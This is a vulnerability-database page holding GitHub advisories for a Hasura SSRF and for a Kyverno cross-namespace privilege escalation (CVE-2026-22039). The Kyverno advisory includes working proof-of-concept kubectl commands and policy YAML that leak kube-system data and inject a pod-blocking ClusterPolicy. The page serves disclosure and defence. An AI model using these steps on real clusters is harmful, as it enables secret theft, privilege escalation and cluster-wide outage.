CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-22T22:15:59Z",
    "severity": "MODERATE"
  },
  "details": "Hasura GraphQL 1.3.3 contains a server-side request forgery vulnerability that allows attackers to inject arbitrary remote schema URLs through the add_remote_schema endpoint. Attackers can exploit the vulnerability by sending crafted POST requests to the /v1/query endpoint with malicious URL definitions to potentially access internal network resources.",
  "id": "GHSA-8p9c-w6fc-vjgh",
  "modified": "2025-12-23T00:30:31Z",
  "published": "2025-12-23T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hasura/graphql-engine"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49791"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hasura-graphql-server-side-request-forgery-via-remote-schema-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8P9X-46GM-QFX2

Vulnerability from github – Published: 2026-01-27 18:01 – Updated: 2026-01-29 03:31
VLAI
Summary
Kyverno Cross-Namespace Privilege Escalation via Policy apiCall
Details

Summary

A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.

As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.

Details

The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.

  1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath. go // pkg/engine/apicall/apiCall.go func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall)

  2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method. go // pkg/engine/apicall/executor.go func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)

Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.

PoC 001 - Data exfiltration

The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.

0. Setup kind + Kyverno

Tested with Kyverno v1.16.1 on k8s v1.34.0.

kind create cluster
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace

1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace.

# Create confidential data in kube-system
kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data

# Create a restricted service account
kubectl create sa policy-admin -n default

# Create a role for managing policies and configmaps in default namespace only
kubectl create role policy-admin-role -n default \
  --verb=create,get,list,update,delete \
  --resource=policies.kyverno.io,configmaps

# Bind the role to the service account
kubectl create rolebinding policy-admin-binding -n default \
  --role=policy-admin-role \
  --serviceaccount=default:policy-admin

# Verify the user cannot access kube-system
kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin
# Output: no

2. Create malicious policy as the restricted user Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace.

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: cross-ns-leak
  namespace: default
spec:
  validationFailureAction: Enforce
  rules:
  - name: leak-config
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: leakedData
      apiCall:
        # Injection happens here via annotations
        urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"
        jmesPath: "data.key"
    validate:
      # The leaked data is returned in the denial message
      message: "LEAKED DATA: {{leakedData}}"
      deny: {}
EOF

3. Trigger the leak As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system.

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-leak
  namespace: default
  annotations:
    target_ns: "kube-system"
    target_name: "target-cm"
data: {}
EOF

4. Result The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request: 

resource ConfigMap/default/trigger-leak was blocked due to the following policies 

cross-ns-leak:
  leak-config: 'LEAKED DATA: confidential-data'

PoC 002 - ClusterPolicy injection

Continue from the setup from the previous PoC.

This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.

1. Apply a malicious policy

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: mutation-cpol
  namespace: default
spec:
  validationFailureAction: Enforce
  rules:
  - name: create-malicious-cpol
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: mutation
      apiCall:
        urlPath: "/apis/kyverno.io/v1/clusterpolicies"
        method: POST
        data:
        - key: apiVersion
          value: "kyverno.io/v1"
        - key: kind
          value: "ClusterPolicy"
        - key: metadata
          value:
            name: "malicious-cpol"
        - key: spec
          value:
            validationFailureAction: Enforce
            rules:
            - name: block-all
              match:
                resources:
                  kinds:
                  - Pod
              validate:
                message: "Blocked by malicious policy"
                deny: {}
    validate:
      message: "Created ClusterPolicy: {{mutation.metadata.name}}"
      deny: {}
EOF

2. Trigger the policy

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cpol
  namespace: default
data: {}
EOF

This outputs an error:

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-cpol was blocked due to the following policies

mutation-cpol:
  create-malicious-cpol: ""

3. Observe the new cluster policy

kubectl get clusterpolicy malicious-cpol

Outputs:

NAME             ADMISSION   BACKGROUND   READY   AGE     MESSAGE
malicious-cpol   true        true         True    4m58s   Ready

4. Verify that no new pods can be created (even as a cluster admin)

Run:

kubectl run --image=nginx foo

Outputs:

Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:

resource Pod/default/foo was blocked due to the following policies

malicious-cpol:
  block-all: Blocked by malicious policy

Impact

  • Users with Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).
  • Since apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions.
  • Attackers can disrupt the entire cluster by creating a malicious ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.
  • Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.
  • In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.

The following command should be run on a per-environment basis to understand impact:

kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list

By default, this does not include Secrets.

Mitigation

The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.

The mitigation logic validates the urlPath for namespaced policies by ensuring: 1. The path explicitly contains the /namespaces/<namespace>/ segment. 2. The namespace in the path matches the policy's namespace. 3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.

This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0-rc.1"
            },
            {
              "fixed": "1.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-27T18:01:26Z",
    "nvd_published_at": "2026-01-27T17:16:12Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA critical authorization boundary bypass in namespaced Kyverno Policy [apiCall](https://kyverno.io/docs/policy-types/cluster-policy/external-data-sources/#url-paths). The resolved `urlPath` is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy\u2019s namespace.\n\nAs a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno\u2019s admission controller identity, targeting any API path allowed by that ServiceAccount\u2019s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.\n\n### Details\n\nThe vulnerability exists in how Kyverno handles `apiCall` context entries. The code substitutes variables into the `URLPath` field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.\n\n1.  In `pkg/engine/apicall/apiCall.go`, the `Fetch` method performs variable substitution on the entire `APICall` object, including the `URLPath`.\n    ```go\n    // pkg/engine/apicall/apiCall.go\n    func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {\n        // Variable substitution happens here\n        call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)\n        // ...\n        data, err := a.Execute(ctx, \u0026call.APICall)\n    ```\n\n2.  In `pkg/engine/apicall/executor.go`, the `Execute` method delegates to `executeK8sAPICall`, which passes the raw path directly to the Kubernetes client\u0027s `RawAbsPath` method.\n    ```go\n    // pkg/engine/apicall/executor.go\n    func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {\n        // ...\n        // Path is used directly in the raw API call\n        jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)\n    ```\n\nBecause `RawAbsPath` executes a direct HTTP request to the API server using Kyverno\u0027s admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn\u0027t have access to.\n\n### PoC 001 - Data exfiltration\nThe following steps demonstrate how a user restricted to the `default` namespace (with no access to `kube-system`) can read a sensitive ConfigMap from the `kube-system` namespace.\n\n**0. Setup kind + Kyverno**\n\nTested with Kyverno v1.16.1 on k8s v1.34.0.\n\n```bash\nkind create cluster\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm repo update\nhelm install kyverno kyverno/kyverno -n kyverno --create-namespace\n```\n\n**1. Setup target and low-privileged user**\nCreate a confidential resource in a privileged namespace, and create a restricted user `policy-admin` who only has permissions to manage policies in the `default` namespace.\n```bash\n# Create confidential data in kube-system\nkubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data\n\n# Create a restricted service account\nkubectl create sa policy-admin -n default\n\n# Create a role for managing policies and configmaps in default namespace only\nkubectl create role policy-admin-role -n default \\\n  --verb=create,get,list,update,delete \\\n  --resource=policies.kyverno.io,configmaps\n\n# Bind the role to the service account\nkubectl create rolebinding policy-admin-binding -n default \\\n  --role=policy-admin-role \\\n  --serviceaccount=default:policy-admin\n\n# Verify the user cannot access kube-system\nkubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin\n# Output: no\n```\n\n**2. Create malicious policy as the restricted user**\nImpersonating the restricted user `policy-admin`, apply a namespaced `Policy` in the `default` namespace.\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: cross-ns-leak\n  namespace: default\nspec:\n  validationFailureAction: Enforce\n  rules:\n  - name: leak-config\n    match:\n      resources:\n        kinds:\n        - ConfigMap\n    context:\n    - name: leakedData\n      apiCall:\n        # Injection happens here via annotations\n        urlPath: \"/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}\"\n        jmesPath: \"data.key\"\n    validate:\n      # The leaked data is returned in the denial message\n      message: \"LEAKED DATA: {{leakedData}}\"\n      deny: {}\nEOF\n```\n\n**3. Trigger the leak**\nAs the restricted user, create a ConfigMap in the `default` namespace with annotations pointing to the target resource in `kube-system`.\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-leak\n  namespace: default\n  annotations:\n    target_ns: \"kube-system\"\n    target_name: \"target-cm\"\ndata: {}\nEOF\n```\n\n**4. Result**\nThe creation request is denied, but the error message contains the secret data from `kube-system`, proving the privilege escalation.\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request: \n\nresource ConfigMap/default/trigger-leak was blocked due to the following policies \n\ncross-ns-leak:\n  leak-config: \u0027LEAKED DATA: confidential-data\u0027\n```\n\n### PoC 002 - ClusterPolicy injection\n\nContinue from the setup from the previous PoC.\n\nThis vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a `ClusterPolicy` that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.\n\n**1. Apply a malicious policy**\n\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: mutation-cpol\n  namespace: default\nspec:\n  validationFailureAction: Enforce\n  rules:\n  - name: create-malicious-cpol\n    match:\n      resources:\n        kinds:\n        - ConfigMap\n    context:\n    - name: mutation\n      apiCall:\n        urlPath: \"/apis/kyverno.io/v1/clusterpolicies\"\n        method: POST\n        data:\n        - key: apiVersion\n          value: \"kyverno.io/v1\"\n        - key: kind\n          value: \"ClusterPolicy\"\n        - key: metadata\n          value:\n            name: \"malicious-cpol\"\n        - key: spec\n          value:\n            validationFailureAction: Enforce\n            rules:\n            - name: block-all\n              match:\n                resources:\n                  kinds:\n                  - Pod\n              validate:\n                message: \"Blocked by malicious policy\"\n                deny: {}\n    validate:\n      message: \"Created ClusterPolicy: {{mutation.metadata.name}}\"\n      deny: {}\nEOF\n```\n\n**2. Trigger the policy**\n\n```bash\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-cpol\n  namespace: default\ndata: {}\nEOF\n```\n\nThis outputs an error:\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource ConfigMap/default/trigger-cpol was blocked due to the following policies\n\nmutation-cpol:\n  create-malicious-cpol: \"\"\n```\n\n**3. Observe the new cluster policy**\n\n```bash\nkubectl get clusterpolicy malicious-cpol\n```\n\nOutputs:\n\n```\nNAME             ADMISSION   BACKGROUND   READY   AGE     MESSAGE\nmalicious-cpol   true        true         True    4m58s   Ready\n```\n\n**4. Verify that no new pods can be created (even as a cluster admin)**\n\nRun:\n\n```\nkubectl run --image=nginx foo\n```\n\nOutputs:\n\n```\nError from server: admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource Pod/default/foo was blocked due to the following policies\n\nmalicious-cpol:\n  block-all: Blocked by malicious policy\n```\n### Impact\n\n- Users with `Policy` creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).\n- Since `apiCall` supports `POST`, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in `kube-system` to grant themselves cluster-admin) if the Kyverno service account has write permissions.\n- Attackers can disrupt the entire cluster by creating a malicious `ClusterPolicy` that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.\n- Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.\n- In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.\n\nThe following command should be run on a per-environment basis to understand impact:\n\n```\nkubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list\n```\n\nBy default, this does not include Secrets. \n\n\n### Mitigation\n\nThe `apiCall` logic should enforce that `Policy` resources (namespaced policies) can only access resources within the same namespace. If a `Policy` attempts to access a resource in a different namespace via `urlPath`, the request should be blocked. `ClusterPolicy` resources are unaffected by this restriction as they are intended to operate cluster-wide.\n\nThe mitigation logic validates the `urlPath` for namespaced policies by ensuring:\n1. The path explicitly contains the `/namespaces/\u003cnamespace\u003e/` segment.\n2. The namespace in the path matches the policy\u0027s namespace.\n3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.\n\nThis effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like `ClusterPolicy`) or resources in other namespaces via the `POST` method.",
  "id": "GHSA-8p9x-46gm-qfx2",
  "modified": "2026-01-29T03:31:31Z",
  "published": "2026-01-27T18:01:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/e0ba4de4f1e0ca325066d5095db51aec45b1407b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno Cross-Namespace Privilege Escalation via Policy apiCall"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list